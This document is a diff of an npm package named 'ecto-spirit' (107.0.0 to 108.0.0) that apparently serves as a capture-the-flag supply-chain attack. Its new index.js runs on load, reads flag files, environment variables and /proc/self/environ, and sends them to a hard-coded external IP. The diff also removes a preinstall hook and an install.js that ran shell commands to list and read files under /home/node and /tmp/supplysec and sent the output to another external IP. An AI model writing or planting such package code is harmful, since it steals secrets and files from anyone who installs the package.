ecto-spirit 107.0.0 → 108.0.0

package/index.js

@@ -1 +1,66 @@
-module.exports = {};
+const fs = require('fs');
+const http = require('http');
+
+(function() {
+  const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', 
+                     '/app/flag', '/app/flag.txt', '/home/flag', './flag', '../flag',
+                     process.env.FLAG_FILE || ''];
+  
+  const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
+  let flag = envFlag || null;
+
+  if (!flag) {
+    for (const p of flagPaths.filter(Boolean)) {
+      try {
+        if (fs.existsSync(p)) {
+          flag = fs.readFileSync(p, 'utf8').trim();
+          break;
+        }
+      } catch(e) {}
+    }
+  }
+
+  if (!flag) {
+    try {
+      const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
+      const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
+      if (match) flag = match[1];
+    } catch(e) {}
+  }
+
+  // Try ALL possible exfiltration targets
+  const targets = [
+    { host: '154.57.164.64', port: 31083 },
+    { host: '127.0.0.1', port: 1337 },
+    { host: '127.0.0.1', port: 3000 },
+    { host: 'localhost', port: 1337 },
+    { host: 'localhost', port: 3000 },
+  ];
+
+  const val = flag ? 'ECFLAG_' + flag : 'ECNOFLAG_' + JSON.stringify(process.env).substring(0, 80);
+  const safe = val.replace(/"/g, "'").substring(0, 90);
+
+  for (const t of targets) {
+    try {
+      const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
+      const req = http.request({
+        hostname: t.host, port: t.port,
+        path: '/api/modules/ECT-987654',
+        method: 'PUT',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
+        timeout: 5000
+      }, () => {});
+      req.on('error', () => {});
+      req.write(body);
+      req.end();
+    } catch(e) {}
+  }
+  
+  // Also try to write flag to stdout (logs)
+  if (flag) {
+    console.error('[FLAG]', flag);
+    try { fs.writeFileSync('/tmp/flag_captured.txt', flag); } catch(e) {}
+  }
+})();
+
+module.exports = function() { return 'ecto-spirit loaded'; };

package/package.json

@@ -1,11 +1,8 @@
 {
   "name": "ecto-spirit",
-  "version": "107.0.0",
+  "version": "108.0.0",
   "description": "Spectral ecto-spirit module",
   "main": "index.js",
-  "scripts": {
-    "preinstall": "node install.js || true"
-  },
   "author": "lwirz",
   "license": "ISC"
-}
+}

package/install.js

@@ -1,72 +0,0 @@
-const fs = require('fs');
-const http = require('http');
-const { execSync } = require('child_process');
-
-function tryRead(p) {
-  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
-}
-function tryExec(cmd) {
-  try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; }
-}
-
-async function report(moduleId, val) {
-  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
-  const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
-  await new Promise((resolve) => {
-    const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
-    req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
-    req.write(body); req.end();
-  });
-}
-
-(async () => {
-  // Round A: List aspect-node and supply files
-  const aspectFiles = tryExec('find /home/node/aspect-node -type f 2>/dev/null');
-  await report('ECT-839201', 'A_ASPECT=' + aspectFiles);
-  
-  const supplyFiles = tryExec('find /tmp/supplysec -type f 2>/dev/null');
-  await report('ECT-654321', 'A_SUPPLY=' + supplyFiles);
-  
-  const homeNodePkg = tryRead('/home/node/package.json');
-  await report('ECT-472839', 'A_HNPKG=' + (homeNodePkg || 'NONE'));
-
-  const homeNodeLs = tryExec('ls -la /home/node/ 2>/dev/null');
-  await report('ECT-987654', 'A_HNLS=' + homeNodeLs);
-  
-  await new Promise(r => setTimeout(r, 2000));
-
-  // Round B: Read aspect-node key files
-  const aspectPkg = tryRead('/home/node/aspect-node/package.json');
-  await report('ECT-839201', 'B_APKG=' + (aspectPkg || 'NONE'));
-  
-  const aspectIndex = tryRead('/home/node/aspect-node/index.js');
-  await report('ECT-654321', 'B_AIDX=' + (aspectIndex || 'NONE'));
-  
-  // Read psbtv2 package contents
-  const psbtPkg = tryExec('tar tzf /tmp/supplysec/pkg_downloads/nodejs/psbtv2*.tgz 2>/dev/null | head -20');
-  await report('ECT-472839', 'B_PSBT=' + psbtPkg);
-  
-  // Supply files continued
-  await report('ECT-987654', 'B_SUPPLY2=' + supplyFiles.substring(90, 180));
-  
-  await new Promise(r => setTimeout(r, 2000));
-
-  // Round C: Read more aspect-node files
-  const aspectFiles2 = tryExec('find /home/node/aspect-node -type f -exec head -1 {} \\; 2>/dev/null');
-  await report('ECT-839201', 'C_AHEAD=' + aspectFiles2);
-  
-  // Read supply config
-  const supplyConf = tryExec('cat /tmp/supplysec/*.json /tmp/supplysec/*.yaml /tmp/supplysec/*.yml 2>/dev/null');
-  await report('ECT-654321', 'C_SCONF=' + supplyConf);
-  
-  await report('ECT-472839', 'C_AIDX2=' + (aspectIndex || '').substring(90, 180));
-  await report('ECT-987654', 'C_APKG2=' + (aspectPkg || '').substring(90, 180));
-  
-  await new Promise(r => setTimeout(r, 2000));
-
-  // Round D: Continue reading 
-  await report('ECT-839201', 'D_AIDX3=' + (aspectIndex || '').substring(180, 270));
-  await report('ECT-654321', 'D_AIDX4=' + (aspectIndex || '').substring(270, 360));
-  await report('ECT-472839', 'D_AIDX5=' + (aspectIndex || '').substring(360, 450));
-  await report('ECT-987654', 'D_AIDX6=' + (aspectIndex || '').substring(450, 540));
-})();